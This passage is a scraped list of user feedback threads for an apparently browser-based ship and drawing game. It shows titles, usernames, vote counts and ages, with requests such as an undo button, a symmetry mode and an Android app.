  632 agree

• What browsers are supported?
  By Jack - 151 months ago
  Unvote

  622 agree

• It doesn't work!
  By the destructor - 154 months ago
  Unvote

  621 agree

• Awesome
  By Anonymous - 147 months ago
  Unvote

  602 agree

• Try Me does not work
  By Tim - 155 months ago
  Unvote

  591 agree

• Two major glitches
  By BeyPokéDig - 154 months ago
  Unvote

  590 agree

• battle
  By alexof - 152 months ago
  Unvote

  578 agree

• Save
  By DevilishDB - 153 months ago
  Unvote

  578 agree

• Undo button
  By wombat - 152 months ago
  Unvote

  572 agree

• Doesn't work on ismittromneythepresident.com
  By MassMurdererOver9000 - 148 months ago
  Unvote

  566 agree

• achievements
  By Lee - 154 months ago
  Unvote

  564 agree

• Posting times of feedback and feedback comments
  By BeyPokéDig - 154 months ago
  Unvote

  563 agree

• how do i draw the outline
  By kickassisdeboss - 154 months ago
  Unvote

  563 agree

• omfg
  By Russellmichael13 - 153 months ago
  Unvote

  557 agree

• Pen tool
  By Cblackdragon - 149 months ago
  Unvote

  552 agree

• You guys should have a symmetrical mode
  By Idrees - 154 months ago
  Unvote

  522 agree

• White labeling the app?
  By Peter.dibart - 150 months ago
  Unvote

  521 agree

• Menu not showing up
  By Patrick.Fletcher.118 - 154 months ago
  Unvote

  519 agree

• Enemies
  By Agallup16 - 154 months ago
  Unvote

  510 agree

• Mirrored editing
  By wombat - 152 months ago
  Unvote

  505 agree

• Designer
  By Anonymous - 155 months ago
  Unvote

  497 agree

• need some advice
  By Hao - 152 months ago
  Unvote

  495 agree

• Rankings
  By heyo - 154 months ago
  Unvote

  493 agree

• Benefits from improving ranks
  By hurrtz - 150 months ago
  Unvote

  489 agree

• Pro!!
  By Jtbui20 - 153 months ago
  Unvote

  488 agree

• Button
  By Cottonball - 153 months ago
  Unvote

  482 agree

• Forums
  By BeyPokéDig - 154 months ago
  Unvote

  478 agree

• help
  By Russellmichael13 - 153 months ago
  Unvote

  476 agree

• android app
  By Barissenkal - 146 months ago
  Unvote

  469 agree

• Undo Button
  By Cblackdragon - 149 months ago
  Unvote

  467 agree

• Extra weapons
  By MassMurdererOver9000 - 149 months ago
  Unvote

  464 agree

• 1 agrees
  By BeyPokéDig - 154 months ago
  Unvote

  461 agree

• I am using this on my site
  By Idrees - 154 months ago
  Unvote

  460 agree

• Image for ship
  By wombat - 152 months ago
  Unvote

  455 agree

• 0xp till| Only GA.
  By StoleYourFood - 149 months ago
  Unvote

  454 agree

• Question
  By Kickin Ass - 154 months ago
  Unvote

  441 agree

• how come the editor is so hard to use
  By Rcasassin - 151 months ago
  Unvote

  433 agree

• You guys need an undo button
  By Idrees - 154 months ago
  Unvote

  431 agree

• page moving up/down while controling the ship?
  By Tommy - 154 months ago
  Unvote

  419 agree